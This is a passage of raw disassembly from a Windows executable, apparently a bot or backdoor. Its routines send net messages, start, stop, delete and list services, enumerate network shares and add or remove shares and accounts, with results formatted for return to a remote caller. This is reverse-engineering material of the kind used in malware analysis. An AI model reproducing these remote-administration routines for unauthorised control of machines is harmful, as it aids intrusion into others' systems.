		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4240BC	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41A414
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A414
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41A414
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41A3F7
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetTickCount
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_424160	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi

locret_415DBA:				; CODE XREF: sub_415CED+3Fj
		leave
		retn
; ---------------------------------------------------------------------------


loc_415DBC:				; CODE XREF: sub_415CED+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_415DD2
		cmp	[ebp+var_8C], 5Ah
		jnz	loc_415D32


loc_415DD2:				; CODE XREF: sub_415CED+D6j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_415CED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DD7	proc near		; CODE XREF: sub_40111A+F7p
					; sub_40DC7F+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_418642
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246E8
		call	sub_4194F8
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415DD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E14	proc near		; CODE XREF: sub_401AA1:loc_4057A9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_415E79
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_43BDC8[esi]
		push	edi
		push	eax
		call	sub_415E9B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_415E5C
		push	edi
		push	off_43BDC4[esi]
		mov	esi, offset dword_4DCAF8
		push	offset unk_43BED8
		push	esi
		call	sub_4185E6
		add	esp, 10h
		jmp	short loc_415E96
; ---------------------------------------------------------------------------


loc_415E5C:				; CODE XREF: sub_415E14+2Aj
		push	eax
		call	sub_415F3D
		push	eax
		push	edi
		mov	esi, offset dword_4DCAF8
		push	offset unk_43BEAC
		push	esi
		call	sub_4185E6
		add	esp, 14h
		jmp	short loc_415E96
; ---------------------------------------------------------------------------


loc_415E79:				; CODE XREF: sub_415E14+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DCAF8
		push	off_43BDC0[eax*4]
		push	offset unk_43BE88
		push	esi
		call	sub_4185E6
		add	esp, 0Ch


loc_415E96:				; CODE XREF: sub_415E14+46j
					; sub_415E14+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_415E14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E9B	proc near		; CODE XREF: sub_415E14+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CDED8	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415EC2
		call	dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415EC2:				; CODE XREF: sub_415E9B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CDDD0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_415EE2
		call	dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_415F2F
; ---------------------------------------------------------------------------


loc_415EE2:				; CODE XREF: sub_415E9B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_415F15
		cmp	eax, 3
		jz	short loc_415F06
		jle	short loc_415F28
		cmp	eax, 6
		jg	short loc_415F28
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CDE3C	; ControlService
		jmp	short loc_415F1C
; ---------------------------------------------------------------------------


loc_415F06:				; CODE XREF: sub_415E9B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CDDD8	; StartServiceA
		jmp	short loc_415F1C
; ---------------------------------------------------------------------------


loc_415F15:				; CODE XREF: sub_415E9B+4Dj
		push	esi
		call	dword_4CDE40	; DeleteService


loc_415F1C:				; CODE XREF: sub_415E9B+69j
					; sub_415E9B+78j
		test	eax, eax
		jnz	short loc_415F28
		call	dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_415F28:				; CODE XREF: sub_415E9B+54j
					; sub_415E9B+59j ...
		push	esi
		call	dword_4CDDEC	; CloseServiceHandle


loc_415F2F:				; CODE XREF: sub_415E9B+45j
		push	edi
		call	dword_4CDDEC	; CloseServiceHandle
		pop	esi


loc_415F37:				; CODE XREF: sub_415E9B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_415E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F3D	proc near		; CODE XREF: sub_415E14+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_415FF2
		jz	loc_415FEB
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_415FB5
		jz	short loc_415FAB
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_415FA1
		dec	ecx
		dec	ecx
		jz	short loc_415F97
		dec	ecx
		jz	short loc_415F8D
		sub	ecx, 51h
		jz	short loc_415F83
		sub	ecx, 24h
		jnz	loc_416068	; default
					; jumptable 0041600F cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415F83:				; CODE XREF: sub_415F3D+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415F8D:				; CODE XREF: sub_415F3D+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415F97:				; CODE XREF: sub_415F3D+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415FA1:				; CODE XREF: sub_415F3D+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415FAB:				; CODE XREF: sub_415F3D+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415FB5:				; CODE XREF: sub_415F3D+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_415FE4
		dec	ecx
		jz	short loc_415FDD
		dec	ecx
		jz	short loc_415FD6
		dec	ecx
		jnz	loc_416068	; default
					; jumptable 0041600F cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41605A
; ---------------------------------------------------------------------------


loc_415FD6:				; CODE XREF: sub_415F3D+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_415FDD:				; CODE XREF: sub_415F3D+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_415FE4:				; CODE XREF: sub_415F3D+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_415FEB:				; CODE XREF: sub_415F3D+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_415FF2:				; CODE XREF: sub_415F3D+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_416068 ; default
					; jumptable 0041600F cases 1,5,6,8,9,12,13,15,16
		jz	short loc_416055
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_416068 ; default
					; jumptable 0041600F cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_4160A9[ecx]
		jmp	off_416081[ecx*4] ; switch jump


loc_416016:				; DATA XREF: .nsp0:off_416081o
		push	offset aTheSpecifiedDa ; jumptable 0041600F case 7
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_41601D:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceDepe ; jumptable 0041600F case 17
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416024:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceDe_0 ; jumptable 0041600F case 10
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceHasB ; jumptable 0041600F case 0
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416032:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheSpecified_0 ; jumptable 0041600F case 2
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416039:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceCoul ; jumptable 0041600F case 11
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416040:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceHa_0 ; jumptable 0041600F case 14
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416047:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheRequested_1 ; jumptable 0041600F case 3
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_41604E:				; CODE XREF: sub_415F3D+D2j
					; DATA XREF: .nsp0:off_416081o
		push	offset aTheServiceHasN ; jumptable 0041600F case 4
		jmp	short loc_41605A
; ---------------------------------------------------------------------------


loc_416055:				; CODE XREF: sub_415F3D+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_41605A:				; CODE XREF: sub_415F3D+41j
					; sub_415F3D+4Bj ...
		push	offset dword_4DC428
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	short loc_41607B
; ---------------------------------------------------------------------------


loc_416068:				; CODE XREF: sub_415F3D+36j
					; sub_415F3D+89j ...
		push	eax		; default
					; jumptable 0041600F cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DC428
		call	sub_4185E6
		add	esp, 0Ch


loc_41607B:				; CODE XREF: sub_415F3D+129j
		mov	eax, offset dword_4DC428
		retn
sub_415F3D	endp

; ---------------------------------------------------------------------------
off_416081	dd offset loc_41602B	; DATA XREF: sub_415F3D+D2r
		dd offset loc_416032	; jump table for switch	statement
		dd offset loc_416047
		dd offset loc_41604E
		dd offset loc_416016
		dd offset loc_416024
		dd offset loc_416039
		dd offset loc_416040
		dd offset loc_41601D
		dd offset loc_416068
byte_4160A9	db	0,     9,     1,     2 ; DATA XREF: sub_415F3D+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160BB	proc near		; CODE XREF: sub_401AA1+3D33p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CDED8	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_4160F3:				; CODE XREF: sub_4160BB+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CDEA8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41612D
		call	dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4161E4


loc_41612D:				; CODE XREF: sub_4160BB+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4161DB
		lea	esi, [ebp+var_188]


loc_41613E:				; CODE XREF: sub_4160BB+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41618A
		dec	eax
		jz	short loc_416183
		dec	eax
		jz	short loc_41617C
		dec	eax
		jz	short loc_416175
		dec	eax
		jz	short loc_41616E
		dec	eax
		jz	short loc_416167
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_416160
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_416192
; ---------------------------------------------------------------------------


loc_416160:				; CODE XREF: sub_4160BB+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_416192
; ---------------------------------------------------------------------------


loc_416167:				; CODE XREF: sub_4160BB+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41618F
; ---------------------------------------------------------------------------


loc_41616E:				; CODE XREF: sub_4160BB+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41618F
; ---------------------------------------------------------------------------


loc_416175:				; CODE XREF: sub_4160BB+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_41618F
; ---------------------------------------------------------------------------


loc_41617C:				; CODE XREF: sub_4160BB+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41618F
; ---------------------------------------------------------------------------


loc_416183:				; CODE XREF: sub_4160BB+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41618F
; ---------------------------------------------------------------------------


loc_41618A:				; CODE XREF: sub_4160BB+87j
		push	offset aStopped	; "    Stopped"


loc_41618F:				; CODE XREF: sub_4160BB+B1j
					; sub_4160BB+B8j ...
		lea	eax, [ebp+var_20]


loc_416192:				; CODE XREF: sub_4160BB+A3j
					; sub_4160BB+AAj
		push	eax
		call	sub_4185E6
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_41613E


loc_4161DB:				; CODE XREF: sub_4160BB+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4160F3


loc_4161E4:				; CODE XREF: sub_4160BB+6Cj
		push	[ebp+var_C]
		call	dword_4CDDEC	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4160BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161FB	proc near		; CODE XREF: sub_401AA1:loc_405899p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_416294
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_416224
		dec	eax
		jnz	short loc_416274
		push	edi
		push	0
		call	sub_416366
		pop	ecx
		pop	ecx
		jmp	short loc_416270
; ---------------------------------------------------------------------------


loc_416224:				; CODE XREF: sub_4161FB+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_416262
		push	24h
		push	edi
		call	sub_418D10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416262
		push	57h
		pop	eax


loc_41623B:				; CODE XREF: sub_4161FB+77j
		push	eax
		call	sub_416B34
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DC6F0
		push	off_43BDC0[eax*4]
		push	offset unk_43C47C
		push	esi
		call	sub_4185E6
		add	esp, 18h
		jmp	short loc_4162B4
; ---------------------------------------------------------------------------


loc_416262:				; CODE XREF: sub_4161FB+2Dj
					; sub_4161FB+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4162BA
		add	esp, 0Ch


loc_416270:				; CODE XREF: sub_4161FB+27j
		test	eax, eax
		jnz	short loc_41623B


loc_416274:				; CODE XREF: sub_4161FB+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DC6F0
		push	off_43BDC4[eax*4]
		push	offset dword_43C460
		push	esi
		call	sub_4185E6
		add	esp, 10h
		jmp	short loc_4162B4
; ---------------------------------------------------------------------------


loc_416294:				; CODE XREF: sub_4161FB+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DC6F0
		lea	eax, [eax+eax*2]
		push	off_43BDC0[eax*4]
		push	offset unk_43C43C
		push	esi
		call	sub_4185E6
		add	esp, 0Ch


loc_4162B4:				; CODE XREF: sub_4161FB+65j
					; sub_4161FB+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4161FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162BA	proc near		; CODE XREF: sub_4161FB+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_416325
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_416325
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418D10
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_416325
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CDDE8
		pop	edi
		leave
		retn
sub_4162BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416325	proc near		; CODE XREF: sub_4162BA+Ap
					; sub_4162BA+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_416332
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416332:				; CODE XREF: sub_416325+9j
		push	ebx
		push	esi
		mov	esi, dword_424168
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_419D25
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416325	endp


; =============== S U B	R O U T	I N E =======================================



sub_416366	proc near		; CODE XREF: sub_4161FB+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_416325
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_416325
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CDDC4
		pop	esi
		retn
sub_416366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416389	proc near		; CODE XREF: sub_401AA1+3E24p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_416325
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 18h


loc_4163C2:				; CODE XREF: sub_416389+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CDE38
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_416425
		cmp	ebx, 0EAh
		jz	short loc_416425
		push	ebx
		push	ebx
		call	sub_416B34
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43C4C8
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 24h
		jmp	short loc_416492
; ---------------------------------------------------------------------------


loc_416425:				; CODE XREF: sub_416389+5Dj
					; sub_416389+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_416489
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_416433:				; CODE XREF: sub_416389+FCj
		push	dword ptr [esi+10h]
		call	dword_4CDDDC	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41644A
		mov	eax, offset aNo	; "No"


loc_41644A:				; CODE XREF: sub_416389+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_416433
		xor	esi, esi


loc_416489:				; CODE XREF: sub_416389+A2j
		push	[ebp+var_4]
		call	dword_4CDF70


loc_416492:				; CODE XREF: sub_416389+9Aj
		cmp	ebx, 0EAh
		jz	loc_4163C2
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_416389	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164AA	proc near		; CODE XREF: sub_401AA1:loc_405930p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41654E
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4164EC
		dec	eax
		jz	short loc_4164E1
		dec	eax
		jnz	short loc_416507
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4165F0
		add	esp, 14h
		jmp	short loc_416503
; ---------------------------------------------------------------------------


loc_4164E1:				; CODE XREF: sub_4164AA+1Dj
		push	ebx
		push	edi
		call	sub_4165CF
		pop	ecx
		pop	ecx
		jmp	short loc_416503
; ---------------------------------------------------------------------------


loc_4164EC:				; CODE XREF: sub_4164AA+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_416500
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_416575
		add	esp, 0Ch
		jmp	short loc_416503
; ---------------------------------------------------------------------------


loc_416500:				; CODE XREF: sub_4164AA+45j
		push	57h
		pop	eax


loc_416503:				; CODE XREF: sub_4164AA+35j
					; sub_4164AA+40j ...
		cmp	eax, edi
		jnz	short loc_416527


loc_416507:				; CODE XREF: sub_4164AA+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DC8F8
		push	off_43BDC4[eax*4]
		push	offset unk_43C580
		push	esi
		call	sub_4185E6
		add	esp, 10h
		jmp	short loc_41656E
; ---------------------------------------------------------------------------


loc_416527:				; CODE XREF: sub_4164AA+5Bj
		push	eax
		call	sub_416B34
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DC8F8
		push	off_43BDC0[eax*4]
		push	offset unk_43C550
		push	esi
		call	sub_4185E6
		add	esp, 18h
		jmp	short loc_41656E
; ---------------------------------------------------------------------------


loc_41654E:				; CODE XREF: sub_4164AA+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DC8F8
		lea	eax, [eax+eax*2]
		push	off_43BDC0[eax*4]
		push	offset unk_43C528
		push	esi
		call	sub_4185E6
		add	esp, 0Ch


loc_41656E:				; CODE XREF: sub_4164AA+7Bj
					; sub_4164AA+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4164AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416575	proc near		; CODE XREF: sub_4164AA+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_416325
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_416325
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_416325
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CDDCC
		pop	edi
		leave
		retn
sub_416575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165CF	proc near		; CODE XREF: sub_4164AA+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_416325
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_416325
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CDDC0
		pop	esi
		retn
sub_4165CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165F0	proc near		; CODE XREF: sub_4164AA+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_416325
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_416325
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
